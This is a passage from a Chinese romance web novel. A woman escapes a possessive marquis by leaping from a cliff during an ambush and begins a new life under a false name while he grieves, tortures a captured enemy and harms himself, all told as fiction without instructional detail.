她不喜欢他拖着病体,赌她心软,同样的错误绝不犯第二次。 后来的几日,裴铉都在偏房养伤。 宁泠心里暗暗焦急,红花油似乎没用,裴铉在这她不敢故技重施。 算下来日子快满三个月了,她现在的希望都在原定山了。 偏偏裴铉的伤势反复,高热不止,她也不好去催促,只能静静等待。 宁泠心情不佳,天天长吁短叹。 偏房内,裴铉趴在床上看着密报:“水匪之事果然不是意外,上次青州的漏网之鱼在兴风作浪。” “青州牵连的人员均被抄家,男子充军,妻女为奴。”林韦德回想,“难怪他拼了命报仇,应该是他收买了水匪。” “州城一带原应没有水匪。”裴铉沉思。 “不过此次他应该会知难而退了。”林韦德想想问道,“这手笔不似一人为之。” 裴铉冷笑:“富商那有本事鼓动人去刺杀皇室宗亲,自然少不了我那个好叔父的授意。” 宣帝与忠国公斗得如火如荼,他是宣帝的左膀右肩,他先下手为强。 林韦德心里憋了很久,如今在浮白州才敢说:“两虎相争,渔翁得利。” 自古以来做皇上的就没有不狠心的,兔死狗烹鸟,尽弓藏之事略见不鲜。 “他不会,也不能。”裴铉把玩着宁泠给他绣得香囊,“他靠着宗亲过继上位,众人都眼馋,除了叔父算是威慑,再对我动手,岂不是告诉皇室宗亲他要屠杀殆尽。” 他裴铉醉心于情爱,自问对于权利谋略算不上拔尖。 他自愿去做宣帝锋利的刀,他保他富贵平安一生。 宣帝还要大肆加赏厚爱,让全天人知道跟着他才能升官发财。 香囊内他偷偷藏着宁泠发梳上偷来的发丝,他轻闻了下香囊。 “去准备上原定山。”他命令道。 原定山是宁泠父母也是他岳父岳母的葬身之地。 “侯爷,还是再多静养几日吧。”林韦德不放心。 他伤势严重,又因夏日里恢复得不算好,上山免不了出汗,心忧又发热。 “我再躺着,某人就要茶饭不思了。”裴铉透过窗柩,看着在外踱步的宁泠。 裴铉对屋外的宁泠找找手,示意她进来。 宁泠愣了下,还是抬脚进了偏房。 裴铉的视线紧紧盯着她的肚子,问道:“最近它没有闹腾你了吧?” “侯爷不是派人监视汇报了吗?”宁泠并不与他客套,直接反问。 裴铉握住她的手腕,拨弄着一对手镯:“不是监视,是关心,是在乎,是想知道宁泠生活里的一点一滴。” 宁泠迷惑地看了一眼他,她真的不懂。 一个男人怎么从之前冷漠无情,肆意玩弄她,到现在情根深种,非她不可的模样? 是爱?她自嘲笑笑,大概是一种新的手段驯化罢了。 “我们明日去祭祀爹娘。”裴铉很自然地说出这句话。 宁泠却被他惊得眼眸睁大:“你胡说什么?” “宁泠会嫁给我为妻,如今我们还有了骨肉,他们不是我岳父岳母吗?”他恬不知耻解释。 宁泠深吸一口气,思考着最后的计划,没有与他置气。 “我们上午坐马车出发,刚好下午黄昏时刻去祭拜。”她神情变扭,“晚上凉快些,你不容易出汗。” 从浮白州到青山县还有一段时间,这样一天行程刚好。 祭祀大多是清早就忙碌的事情,裴铉挑眉看着她,还以为要在青山县住一天。 转念猜想她估计还是心疼自己受伤了,为他考虑。 第二日下午天气阴沉,暴晒的太阳没有出现。 乌云压境,风雨欲来,狂风吹得树枝草木飒飒作响。 为了以防万一,裴铉还是配齐了护卫,虽然众人都认为不可能在这么短时间再遇刺。 到了要步行上山的地方,宁泠对提着贡品的裴铉说道:“护卫们都在山下候着吧,人多了我怕扰了他们清 净。” 张川最先面露不赞同,可裴铉点头:“那就张川,林韦德跟上,其余人山下候命。” 四人一起上了山,林韦德想接过裴铉手里的香蜡纸钱等物,却被他拒绝了。 裴铉担心宁泠的肚子:“累了就歇歇,不要硬撑。” 宁泠点点头。 原定山从山脚处开始爬上,约莫一个多时辰能到坟墓。 整座山高度不算高,可足够宽广,占地极大。 尤其植物茂盛繁多,宁泠小时候经常各小伙伴来这儿玩。 或是采些野菜菌菇,或是一起玩闹嬉戏。 虽然时间已过去许久了,但时间对自然风景的大山格外厚待,几乎没有太大变化。 与宁泠记忆中的原定山差别不大。 她低头走在松软的泥土上,她总闹着要回原定山因为这里是她最后的逃跑机会。 小时候顽皮经常和小伙伴去原定山,恨不得将这座山每一寸土地都摸清。 还偷偷发现了秘密基地,一个结构独特隐秘的洞穴。 她记得那处洞穴前后两处贯通,入口处有碎石和浓密茂盛的树木遮挡。 而且入口仅能容许一人通纳,小时候发现此处时惊呼连连,印象深刻。 她上山可以找借口离开众人视线,接着循着记忆找到洞穴躲进去。 裴铉找不到人,多半会派人搜山,可原定山辽阔又植被丰富,很难一寸寸仔细搜寻。 他更有可能怀疑她是不是从某条小路,另辟蹊径离开。 最大的问题是目前如何甩开身后三人。 她绞尽脑汁地思考着,忽然有密密麻麻的箭射来。 带着破空声和肃森的杀意,直朝四人铺天盖地。 裴铉三人连忙抽出随身武器,抵抗四周攻击。 “一定和水上那群人是一伙。”林韦德咬牙骂道。 宁泠顿时被惊天的箭镞吓住,裴铉将她努力护在怀里。 “找掩体。”裴铉挥舞之间,背后的伤口裂开,鲜血不断渗出,“去岩石背后。” 四人艰难地移动着,他将宁泠护着严严实实。 对面的人数应该有限,携带的箭数量也有限,除开最开始的猛烈攻击,后面逐渐减少。 四人成功移到了岩石后。 “看来是早埋伏好了。”张川皱眉,“若是我们护卫还在,倒是不怕他们,可以拼上一波。” 现在势单力薄,如同案板上的鱼,任人宰割。 “现在说这些没用,山下的护卫估计还不知道情况。”林韦德思考道,“估计下山的路,早有人把守,现在是一条死路。” 等不了多久必会有刺客围上来,怎么脱困是关键。 原定山他们不熟悉,路通往哪儿他们都不清楚,冒然逃跑选了死路,只有被围堵困死。 “山里植被茂盛,可以隐藏行踪,分离击破。”裴铉的声音沉稳,“但需先确定好方向。” “我知道往那走。”宁泠主动出声,她被刚才的杀意吓得身形微颤,裴铉伸手握住她。 所幸天色较为阴沉,深山老林树枝茂密遮挡了视线。 宁泠和裴铉走在前方带路,后两人垫后处理。 宁泠带着人专往植被茂密的无人道钻,几人很快消失刺客视线里。 但领头并不慌张,牵出早有准备的的猎犬,它们的鼻子灵得很。 听见越来越近的脚步声,四人的眉头都紧皱,有猎犬在怎么也不可能甩掉他们。 宁泠的心情有点沉重,裴铉抬眸看了眼天色:“看这天色,应该会下雨。” 下雨后冲淡一切味道,猎犬的作用会被削弱。 “待天黑时山下护卫还没看见我们下来,必定会知晓有异,带人冲上来,我们只需全力躲过这几个小时。”裴铉继续补充,安抚着宁泠的情绪,让她知道追杀并不是无穷无尽的,他们还是有很大希望。 宁泠听着外面窸窸窣窣的动静,脸色惨白。 带着几人去寻那处洞穴,但洞穴的位置很小,勉强容纳两人,他们却有四人。 敌人四处分散寻找着踪迹,有循着踪迹找到,被林韦德手起刀落处理。 果然如裴铉所料,天空忽地下起瓢泼大雨,雨势浩大。 宁泠的心稍稍松了一口,带着三人走了约莫半个时辰。 裴铉却浑身一个踉跄差点摔倒在地,幸好宁泠及时扶着了他。 她扶着他时,才发现他身上的体温不正常,脸色泛着高温的红色。 他动手时后背伤口裂开,被汗浸湿后又淋了雨,想不恶化都难。 宁泠扶着裴铉先行找到一处隐蔽的地方,让他稍稍恢复下体力。 “我们这是同生共死,患难与共了。”裴铉还有心情开玩笑逗宁泠。 后面的林韦德和张川利索地解决好几个尾巴后跟了过来,见裴铉不舒服地靠着岩石休息,面色大变。 “本来带着护卫上山什么事都没,夫人却不肯,现在给了他们可乘之机。”张川护主心切,出言不逊。 裴铉阴狠地睨他一眼:“还轮不到你说话。” 宁泠不生气,她知道张川只是陈述事实,而不是横加指责。 “与你无关,是我在青州时的仇家。”裴铉起身继续赶路,对着宁泠说道:“你被我无辜连累了。” 宁泠没说话,加快脚步。 终于在裴铉快要坚持不住,高热虚弱快昏厥时到了洞穴口。 三人看着宁泠先是拨开比人还高的绿植,接着又开始摸索附近大大小小的散落石头。 终于找到记忆中的标记点,她搬开外层的石头。 露出一个仅供人弯腰进去的狭窄入口。 宁泠自己先钻进去看了眼,里面漆黑一片,黑沉沉的。 洞穴的另一处出口与这边一样,入口稍稍大一些,但是同样隐蔽难寻,尤其是在漆黑的雨夜。 她钻出去说道:“里面只能容纳两人。” 林韦德连忙道:“侯爷和夫人刚好合适,我与张川可去吸引敌人视线。” 张川满意地点点头,就算洞穴能够容纳四人,也不可能都进去。 他们找不到人,一定会很仔细搜寻藏身之地,还是需要人吸引注意力。 裴铉皱眉看着那处洞穴,锐利明亮的视线紧紧地盯着宁泠。 他还有什么不明白,这才是她要上山的真正目的。 “不必了,林韦德和宁泠进来。”裴铉的声音带着冷意,“我去诱敌最合适。” 他和宁泠进了洞穴躲藏,并不意味着一定安全。 眼下他的身体无力护着她,还是林韦德保护她更为合适。 何况他们想抓的人本就是他,抓住他后就没有必要去追杀他。 他留在她身旁只会带来伤害,以前她想逃跑时正确的。 林韦德张嘴想说话,却也不知说什么,他听侯爷的。 “若不是她死活闹着要来原定山,侯爷怎会遇险?”张川大为恼怒,“咱们就不会遇上水匪,更不会被困在这里,依我看侯爷不必管她死活。一切都是她咎由自取,林韦德武功比我高,由他去保护侯爷,我没有一点意见” 裴铉皱眉要打断时,宁泠出声:“我赞同张川的意见。” 她平淡的一声,在三人的心头砸下重大涟漪。 祸是她惹出来的,裴铉为了保护她性命危在旦夕,更别说被连累的林韦德和张川两人,她能多保下一个是一个。 无论什么后果,她宁泠都认。 “胡闹!”裴铉怒喝一声,被震耳欲聋的雷声掩盖。 有刺眼的白光闪过,他神情冷硬,丝毫不退。 宁泠却毫不害怕,她甚至悄无声息地给张川递了一个眼神示意。 暗示他劈晕 裴铉,他们在这耗不起。 张川犹豫了,他虽不满侯爷的决定,却不一定有勇气亲自执行心中所想。 瓢泼大雨重重砸下来,顺着裴铉线条分明的脸落下。 “林韦德!”裴铉喊道,暗示他劈晕宁泠进入洞穴。 林韦德左右犯了难,私心里他想裴铉和宁泠一起进去,可张川和宁泠的决定对侯爷更为稳妥。 林韦德不听他命令,张川更唱反调,偏偏裴铉现在无力亲自实行。 “宁泠,我知你不喜这个孩子。”裴铉的声音放软,几乎带着哀求,“你若肯进了洞穴,我答应你回府后不要它了。” 他现在只求她活着了,以前或许是他贪心了。 “我熟知地形,还可以再找到一个隐蔽处。”宁泠对着张川说:“你们侯爷这个样子,你们说他能跑多远?” 张川和林韦德没有说话,这正是他们心中所想。 “我再不济,也还有武功傍身。”裴铉情绪激动,他上前大力拥抱宁泠,将她抱得死死,几乎将她挤压地喘不过来气。 他一声声呼唤,声嘶力竭:“宁泠,宁泠!别犯傻!别走好不好!” 宁泠不为所动,对着张川冷静催促:“你再不下手,我们四个都要死在这儿。” 裴铉闻言立刻松开她,欲要防备他。 可奈何他高烧不适,身体反应十分迟钝。张川一记利落的手劈下来,他失去了意识。 林韦德接过裴铉,张川和宁泠看着两人进了入口后,将四周恢复成远样。 “我们分头行动。”做好一切后,宁泠转头对着张川,“目标小些,能分散更多人。” 张川爽朗一笑,他明白了宁泠是不想拖累他。 “我要下山去找护卫。”他语气坚定,侯爷的身体急需救治。 宁泠一个弱女子,尚且能有如此魄力,利落行事,不肯苟活。 他堂堂一阶男儿,明知下山是九死一生的路,他也绝不气馁害怕。 明知山有虎偏向虎山行。 宁泠笑笑:“那祝我们都平安。” “夫人,失礼了。”张川这声夫人,叫得心甘情愿。 两三句话时间,两人分道扬镳。 其实宁泠并没有其他的藏身处,大家都心知肚明。 不然她不会争吵,而是直接带人再去寻找。 宁泠想了想,毅然去了父母坟墓处的方向。 等待许久心心念念的祭祀,她还没有见到她的爹娘。 只是可惜了没有香蜡钱纸等物,但是她相信他们不会怪她。 如果能死在这儿,也算是在这得偿所愿,与父母团聚。 宁泠在黑夜里快速穿梭,很快就被寻找的人盯上了。 开始是一个,但是她没有能力除掉他。 后来尾随的人越来越多,宁泠遗憾地想还是没有机会去见父母了。 追杀她的人,很是兴奋:“是那个侯爷的女人,好像还怀孕了。” 既然是一场有预谋的暗杀,对人的身份背景都了解地一清二楚。 “要活捉!”有人强调。 宁泠不知他们活捉是想去威胁裴铉,还是不怀好意。 她跑得精疲力尽却与他们之间的距离越来越近,她勉强靠着熟悉地形,拉开一点点距离,又会被快速他们拉进。 浑身都被大雨湿透,她跑得连气都喘不上。 身后是密密麻麻,敏捷快速的身影,偶有紫色闪电劈开黑沉的天空,瞥见身后模糊的黑影,压得人精神紧绷,只剩下人的本能,逃! 宁泠每次差点被捉住时,都一遍遍告诉自己捉住后下场多么悲惨,激发自己的潜能奔跑。 终于她跑了不知多久,到达了终点。 是一处陡峭的万丈悬崖,身后的人吓得惊呼一声,纷纷退后几步。 宁泠站在危险的悬崖处,看着下方湍急打着浪的河水。 不得不感化造化弄人,竟然还是走到了这一步。 来之前她就想,若是洞穴的计谋没有成功,有必要实施这个吗? 小时候有人采药失足跌落,他那个时候运气还不错遇见枯水期,水流平稳。漂流到下方县城救下,回来后众人都感叹大难不死必有后福,但更多的人是杳无音信,生死不知。 不知她是否能有这个好运,上山时她还在思考有必要吗? 现在上天已经帮她做出了选择,宁泠释怀一笑,纵身一跃跳下万丈悬崖。 第63章 第63章【VIP】 失重感传来,宁泠的心跳加速,她的大脑一片空白。 她从高空重重砸入水面,身上痛意蔓延,头晕无力,强烈的窒息感。 黑暗里她奋力挣扎,划动四肢,将头颅浮出水面呼吸。 可她的力气早在追杀里耗尽,宁泠尽量放松自己的身体,使自己能够漂浮在湍急的水面上。 她的意识断断续续,感觉自己似是昏厥又似是清醒。 许是上天怜悯她,在她漆黑绝望的夜里,抓住了被大风折断的浮木。 宁泠再也坚持不住,趴在浮木上不省人事。 两天后白氏兄妹出门采药,白洲言背着背篓走在泥泞不堪的小路上。 白佳蹦蹦跳跳走在前方,连着下了几日暴雨,山谷里满是清新味。 “咱们先去小溪边看看吧。”白佳眼眸弯弯建议道。 “你真是陪我来采药的?”白洲言宠溺笑笑,“我看你是嘴馋雨后的蘑菇。” 雨后靠近水流处的蘑菇最为鲜美可口,许多人雨一停就火急火燎地出门,晚了定抢不到。 以前他出门采药时,小丫头从没这么积极过。 白佳调皮地眨眨眼睛:“走嘛,走嘛。” 白氏兄妹去了河水边采蘑菇,白佳忙碌的身影到处转。 不论再茂盛的绿植她都要拨开好好检查一番才放心,费力找了一圈,毫无收获。 白佳脸色沮丧,莫非已经被人捷足先登了? 她不死心地到处看,看见远处好似有个人躺在水流处。 她胆子大好奇心重,跑过去望了一眼。 好似是个女子,倚靠这一截浮木半趴在木头上,垂着脸不知死活。 “哥!”白佳不知该怎么办,大声喊道:“你快来,这儿有个人泡在水里。” 正在另外一边找蘑菇的白洲言闻言急急跑来,看见小妹心急地站在河边。 他见了这景象,环顾四周:“说不定是上流冲下来的人。” 小溪上面是一条大河,到了山谷这儿分了流,一处在此成了小溪,一处与其他河流汇集。 白洲言世代学医,信奉救人一命胜造七级浮屠。 他忙取下背篓脱了鞋靴,向溪流中走去。 他先是走近拉起她的手腕搭脉,白洲言脸色一变,竟然有了身孕,情况不太好。 又将面趴在浮木上的人翻过来,观察她面色舌头,气息虽弱但还好。 白洲言把人背在身后,走出浅浅的小溪。 “哥,还能救不啊?”白佳语气着急。 “先回去再说。”白洲言答道。 白佳懂事地点点头,将放在地上的背篓背上。 宁泠在晚上醒来,她头晕得离开,勉强睁开眼皮看了眼四周。 房间布置简单,四周放着晾晒好的药材。 白佳端着药碗进来,见她醒了很是开心:“你终于醒啦,快把药喝了。” “谢谢你救了我。”宁泠开口说话,声音很是嘶哑。 “其实是我哥白洲言救了你。”白佳话多,叽里呱啦地说:“你是我们在山后小溪里发现的,你不小心掉大河了吗?幸好你运气好被冲到小溪里,要是冲到其他地方可悬了。” 宁泠看了眼自己,换了一身衣衫,但手腕处的一只镯还在,其他的应该被冲走了。 白佳见她这动作,解释道:“是我给你换的衣衫,换下后我帮你洗了还没干。” 说完后她有些脸红,她还没见过皮肤这么好的人,又白又嫩摸着可舒服了。她身上那件衣衫也很好看,是她从没见过的料子。 宁泠烦请她将衣衫先拿进来,百佳不知为何但还是照做。 那套衣 衫是月白色织银线,裙摆下方还坠着不少白色圆润的珍珠。 宁泠接过衣衫,其实已经半干还带着点润意。 她将裙摆上坠着的珍珠扯下,递给白佳:“我身上没有银子,只能用它们作为报酬,请你们不要介意。” 其实她偷偷在衣角里缝了金瓜子,可她担心被人当做贼。 “不用,我们救你不是为了银子。”白佳连忙阻止她的动作,“你家在哪啊?我们帮你通知家人吧。” 白佳看她穿着佩戴都极为精致讲究,暗自猜测她家世不凡。 宁泠扯珍珠的动作一顿,脸色变了。 她竟然好不容易到了这儿,何不更名换姓隐居于世。 思及此宁泠不由地落下泪下,白佳面色无措:“怎么了?” 白洲言听见里面声响不对劲进了屋子。 “哥,我刚才问了她家在那,她就哭起来了。”白佳赶紧说明缘由。 “我名为陈蝶,多谢二位救命之恩。”见他来了,宁泠连忙起身拜谢。 给自己取了个假名,破茧重生,忘却前尘。 白佳连忙扶起宁泠:“不用,你也不用担心酬谢,这件衣裙这么好看,将珍珠扯了下来多可惜啊。” “其实我还有私心想请二位答应。”宁泠面露难色,“我父母双亡被族亲卖给一位老爷做了妾,正妻看我受宠趁着老爷不在将我扔入河里,请二位不要将我的消息泄露出去,我虽侥幸躲过一次,可也不能次次躲过。” 白佳震惊地张大嘴,没想到话本子的内容竟然如此真实。 “姑娘可知你已有孕在身了?”白洲言问道。 宁泠点点头,看着架上的药材:“可否劳烦两位给我一碗落胎药,我会付钱的。” “你如今的身子不适滑胎。”白洲言皱眉,“而且它已有三月了,稍有不慎极有可能大出血。” 宁泠失魂落魄地躺回床上,没有说话。 “还是先喝药吧。”白佳端来药碗。 宁泠接过药碗,真诚道谢:“谢谢。” “这个孩子很懂事。”白洲言想了想,“如果是在水里它没了,你估计也难以存活。” 他是医者,自然希望给孩子一条生路,而且这位姑娘刚才水上救**虚高热,哪敢下猛药堕胎。 宁泠听了后用手掌摩挲着肚子,垂眸看着它。 好不容易千辛万苦活下来,她不想死。 这个孩子的确坚强,来的蹊跷偶然。 红花油对它毫无作用,那夜逃亡带着他没有拖后腿,跳下悬崖也没有一点动静。 除去最开始的孕吐和嗜睡,她几乎不相信自己怀孕了。 如果它在落入水里时没了,在水上漂流又流着血。 她没有机会平安活下来。 “那就留下它,以后我们相依为命。”宁泠下了决定,反正她孤身一人,在这世上也不孤单了。 白家兄妹两人,都是父母双亡。 白佳尤其心疼陈蝶,她若不是有白洲言这个哥哥在上头护着,估计就要走她的老路。 “姑娘不必担心,我们对外说你是远方来的亲戚。”白洲言安慰道。 宁泠十分感动,激动地眼泪直掉:“谢谢你们。” 三日后,争晖院内。 林韦德紫叶小心守在裴铉身边,裴铉高热不退,伤口恶化,一直没醒。 林韦德的眉头紧皱,哀叹一声。 他们躲在洞穴里没被人发现,张川拼着命及时通知了山下的护卫。 可宁泠却 他无言面对侯爷。 裴铉勉强浑浑噩噩地睁开眼睛。 见他醒了,众人都面带惊喜。 裴铉的眼眸迫切地寻人,一遍遍都没有宁泠。 他死死盯着林韦德。 “侯爷,夫人她”林韦德眼圈发红艰难说完,“她跳崖了,我已派人沿着河流去寻。” 裴铉只听得跳崖,跳崖,跳崖,这两个字如同魔音似重复地往他耳里钻。 霎那间他什么声音都听不见了,只觉胸口被一块大石压得喘不过气。 他不相信地颤着嘴唇,想要再问些什么。 却什么声音都发不出。 心口阵阵剧痛传来,铁锈的血味拥上嗓子。 他浑身失控地哆嗦,再张口。 一股鲜血顿从他嘴里喷洒在干净的锦被上,小丫鬟们慌成一团。 林韦德连忙跑去请太医。 裴铉往日那双锐利闪亮的眸子,如今失了神色,暗淡灰扑扑的。 不可能,不可能 他再醒来的时候是第二日,情绪似乎稳定了些。 “张川呢?”他脸上苍白。 那日张川劈晕了他,应该是张川带着宁泠一起吸引敌人,他最清楚她的事情。 “他担心侯爷病情,拼死下山杀了一条血路出来。”林韦德哐当一声跪在地上,“身中数刀,不省人事。” 谁都不愿见到现在的情形,可事情已经发生了。 “所以你们让她一个人去面对杀手?让她去送死!”裴铉眼眸狠厉地看着林韦德。 他们都舍弃了她,让她一个人去当诱饵牵扯杀手,有隐蔽藏身的,有趁机下山找援兵的,让她一个人孤身无援面对追兵。 “侯爷,你想怎么罚我都成。”林韦德哐哐哐地磕头,“可张川护主心切,我愿代他受罚。” 裴铉大笑起来,笑得泪流满面,疯魔癫狂。 罚谁?他裴铉罚谁?去罚为救他身中身中数刀的张川? 去罚林韦德?让他去死? 他只能恨自己无能,怨恨自己的蠢。 “侯爷,侯爷。”林韦德连忙安抚他,“属下打探过,早年有人失足跌崖后有被救起的,夫人一向心思缜密,之前逃跑颇有计划,说不定她有把握才敢去做。你当务之急先养好病,咱们还没揪出敌人。” 他要给裴铉一个希望,人还活着,还有机会,就像夫人前几次逃跑一样,只要费心费时间还能找到。 还要让好好养病,要抓到人给夫人报仇,千万不能自暴自弃,消沉不起,病情加重。 裴铉眼眸发红发狠,如用阎王修罗:“我一定让他们生不如死。” 他身体底子好,太医精心照顾,几日就能起身。 三个月的时间一晃而过,鼻青脸肿的林韦德地摇头。 依旧没有消息,三个月了还没有消息,他不再细想。 裴铉将刺杀他的青州富商王氏成功逮住,人直接押进了他府里的私狱。 王氏早知被抓难逃一死,他冷笑地看着裴铉,毫不气弱。 裴铉阴沉着脸跨做在木凳,专心致志地磨着刀。 牢狱里光线昏暗,霉臭味在空气中散发,安静的室内只有那清晰可闻的磨刀声。 王氏被全身紧紧捆在木桩上,他不屑地吐着唾沫:“堂堂侯爷,也不过如此。” 见裴铉不理他,他阴笑地开口:“那个女人死得很惨。” 林韦德皱眉,当日抓捕时他特意留了活口,严刑逼供下都说是跳崖了,生死不明。 “闭嘴,少捏造事实。”林韦德怒喝。 侯爷现在的精神禁不起他刺激。 王氏被骂了笑得更欢:“哈哈哈哈,你们心虚了?一群大男人,用一个身怀六甲的妇人当诱饵。” 林韦德欲要动手,裴铉眼神制止了他动作。 “什么侯爷,什么贵族,看着自己的妻儿去送死,我王某人可做不出。”王氏对裴铉吐口水,“可惜了那个傻女人啊,我只想命人活捉的,她倒是重情重义地很,硬骨头直接跳了下去。裴铉啊裴铉,看看为你枉死的妻儿,你配当一个男人吗?只会当缩头乌龟躲在女人后面,那个女人遇见你真是 太倒霉了,你裴铉这辈子都要活在愧疚里,时时刻刻忏悔,永远不配再拥有真心,永远不会再有人对你这么好了。” 裴铉拿着刀走近:“是啊,永远不会再有人对我这么好,我不配为父为夫。可你又算个什么东西?” 他用着锋利的刀,亲手为他凌迟:“我永远活在愧疚悔恨里,我也会让你永远生不如死。” “啊!”王氏的惨叫声响彻侯府,还有他骂骂咧咧的声音。 他说的每一句话都想染了毒的利箭,直直插在裴铉心口上,痛得撕心裂肺,难以呼吸,和他一样生不如死。 鲜血汇集在两人叫人,裴铉拿着利刃,手上沾满鲜血,浑身凶煞,面露痛苦绝望。 林韦德心惊肉跳地看着,生怕裴铉失控发狂。 裴铉却很冷静地一刀刀割肉,忍受着王氏的滥骂和那些难以入耳之词。 都是他裴铉应得的。 王氏不堪折磨生生疼晕,裴铉平静地擦干刀:“请太医为他诊治,用最好的药,吃最好的吃食,我要他好好活着,我要他每一天都在忏悔恐惧里活着,我要他每一天生不如死,后悔活着。” 林韦德:“是。” 裴铉回了争晖院,看着她为他缝制的香囊,旁边是他精心准备的小孩鞋袜。 他想伸手去摸,又想到自己一身血迹。 她若在,肯定蹙着眉头嫌弃他,不能惹了她厌弃。 裴铉着急地想着,急匆匆地去了沐浴,将自己洗了几遍,消去留在身上的血味。 他才出来小心,仔细地一遍遍抚摸荷包和鞋袜。 他痴癫地将它们拥怀里,那是他的妻儿啊,那是他心心念念的家。 他拥了许久将它们仔细收好,又贪婪地屋内一次次地寻找着她留下的气息,留下的东西。 他找到他杀马她划了脸的发簪,往事一遍遍浮现在脑海,可故人已不见踪影。 发簪和以往一样锋利,他不可自控地用着它在手臂上划。 只有痛意才能提醒他还活着,他不能行尸走肉,他要去找到她们。 第64章 第64章【VIP】 自跌崖后,宁泠在床上静养了半月。 身体好了后,她将手腕处的玉镯取了下来藏好,再把缝在衣衫的金瓜子取出来,值钱的珍珠也没放过,然后亲手烧了落崖时的衣物。 她看着被凶猛火舌吞噬的衣物,嘴角不由上扬。 一切都结束了,她与裴铉彻底两清了。 珍珠是上好的南海珍珠,大小适中,颗颗匀称,色泽光亮。 她请求白佳去帮忙当的,小镇上生人扎眼得很。 回来后宁泠要将银子分一半给白佳,她却不肯要。 白佳绘声绘色地描述:“那个掌柜眼睛蹭一下亮了,还一个劲追问我还有没?” “多了也不能都给他。”宁泠笑笑摇头。 其实这种东西应该在县城,或者州城去典当最合适,小镇压价得厉害,可她不能一直赖着白家兄妹白白吃包住。 白佳显然也明白这个道理,将典当来的三两银子给了宁泠。 宁泠要给她,她还是死活不要:“你再这样,我可恼了。” 白佳双手叉腰,粉面嘟嘴。 “好。”宁泠无奈笑笑,“等会我去买点糕点果子,你可不能推辞了。” 白佳张口欲言,又默默闭嘴了。 对于好吃的,她还真不能狠心拒绝。 三颗珍珠当了三两银子,宁泠寻思着大些地方应该能更多些。 白佳看着珍珠这么漂亮,可从没想过这一颗饰品如此值钱。 “走吧,我们出去逛逛。”宁泠拉着白佳,打算顺路去租个小院子。 白洲言还没成亲,她可不能耽误了别人。 刚开始两兄妹十分不赞同她一个人在外居住,尤其白佳都要哭出来了。 还是宁泠连连保证,就在附近找个院子。 宁泠静养时白佳没事与她闲聊,偶然得知宁泠会制香,好奇心颇重,宁泠也不藏着掖着,虽然躺在床上不便行动,口头教了她许多,还说待她好了手把手教她。 白家虽然世代学医,可她实在讨厌那苦臭的中药味。 制香可不一样了,香喷喷十分文雅,白佳很是喜欢。 白洲言没有说话,但猜测宁泠的夫君应是权贵之家,不是简单的富豪地主。 她佩戴的手镯,水头十足,他一个不懂首饰的男儿家,也能一眼瞧出是顶好的玉料。 普通穿的一件衣裙,都是用珍珠镶嵌坠边。 她还会制香,小镇附近没听过谁会,这种东西一般只有世家大族,官宦世家才讲究。 她不愿多说,但白洲言能感觉出她心地善良,对白佳如同亲妹,白佳想学,她尽心尽力教她,他亦真心待之。 “白大哥,你和我们一起出去吗?”宁泠看向白洲言问道。 白洲言温和笑笑:“你们去玩,我在这里还要看店。” 宁泠点点头,白家在小镇上经营着一家医馆。前院看病抓药,后院居住。 白佳手臂挽着宁泠:“咱们去玩。” 宁泠还是第一次逛这个小镇,白佳热情地介绍。 有着白佳帮忙,房屋很快租好。 就在他们侧隔壁,原本宁泠想租紧挨隔壁米铺的后院。 米铺的店铺在前院,后院一直没人住。 “米铺老板可不好惹,别租他家。”白佳小声地说道。 宁泠点点头,路过米铺的时候。 米铺正在卸货,一个佝偻的老婆婆身形颤颤巍巍地扛着着装满的袋子走。 宁泠皱皱眉,一般这种活都是身强力壮的汉子干。 白佳咬耳朵:“他们家黑心得很,又要洗衣做饭,又要干重活,外面都说不当人用。” 老婆婆脚步虚浮无力,走得慢了些。 老板挺着个油腻凸出的大肚子,“周婆子你再耍心思偷懒,今天晚上可没晚饭吃了。” “老奴真没偷懒。”周婆子声音微弱。 老板横了她一眼:“一把年纪了,除了吃饭有力,干啥都不行,我早就不想要你了,你再拿不出本事来就滚出去做乞丐。” 他早就想卖了周婆子,去买个结实的汉子。 奈何没人肯要周婆子,不过他可不干赔本的买卖,她周婆子要是没用了,他只能扫地出门,自生自灭,总不可能给她养老。 宁泠和白佳长叹一声,回了屋。 初秋时节,宁泠六月份的肚子已经大了起来。 她气色红润,皮肤粉白,添了几分丰腴。 一月前白家兄妹为她补了户籍,对外宣称她夫君已亡,族亲为了争家产,将人赶了出来。 私底下乡亲邻里嘀咕,怕是做了妾或是通房,老爷又死了,正房那肯多养闲人。 宁泠有时候听见了一笑了之。 宁泠的肚子大了,一个人很不方便,虽然白佳常常跑过来找她,有时候晚上还不肯回去。 可她觉得还是不行,还是要找个人。 她打算烧火煮饭时,发现米缸里的米没有了,她一个人也吃不了多少,加上肚子大了身子沉,手脚有些浮肿。 她就去了旁边的米铺称了一些米,依旧是勤劳的周婆子在干活。 老板坐在躺椅上,喝着茶水。 周婆子眼睛不好使了,看不清楚称上的刻度。 宁泠好心帮她看,老板不放心地过来盯着,生怕让宁泠占了便宜。 几个月过去了,周婆子还没卖出去,他对她更没好脸色。 “搬东西不行,说没力气。”他怒气冲冲骂道:“现在轻松的活也做不了,我看你要当祖宗。” 周婆子依旧低垂着头,畏畏缩缩的模样。 宁泠心动道:“老板,买周婆子多少银子?” 老板的眼珠子转了一圈:“陈姑娘要买人?这个婆子虽说愚笨了些,可人还是勤快。” 刚才还将人贬低得一无是处,现在倒是知晓优点了。 租房用得白佳的户籍,现在她有了户籍又一个人行动不方便,倒是可以考虑添一个人。 她观察了周婆子三个月,是个打不还手骂不还嘴的本分人。 去人牙子手上买个能干的人,容易奴强主弱,对于宁泠来说不是一件好事。 她不需要别人帮忙干什么重活,和她一起搭伙照顾小孩子就行。 “你先说价钱。”宁泠笑笑,“不划算就算了,反正人牙子多得是,可以慢慢选。” 老板咬牙道:“别看我天天骂这个老婆子,可处久了和亲人一样,一两银子我就忍痛割爱了。” 宁泠噗嗤笑出声:“老板可真会说话,一两银子强壮的汉子随便挑,聪明伶俐的丫鬟都能买两个了,你既不想割爱,我亦不强人所难。” 她将米钱结了,转身就要走。 “五百文。”老板连忙出声,“这个价钱很划算了。” 外面买个婆子大约也是这个价钱。 “三百文。”宁泠慢悠悠说道。 两人一番讨价还价后,依四百文成交了。 宁泠带着周婆子回了院子,两人相互扶持过日子。 一晃就到了宁泠要生产的日子。 大概因为平日她劳作运动多,又有着白家兄妹照料身 子,没有吃太大苦头就平安产下一子。 她虚弱地躺在床上,轻轻摸了他的脸:“就叫你宁泽铭吧。” 盛安城争晖院内,下午正在处理事务的裴铉莫名其妙心慌地厉害。 他用手覆住胸口,心神不宁。 他脸色难看,心里不知在想什么。 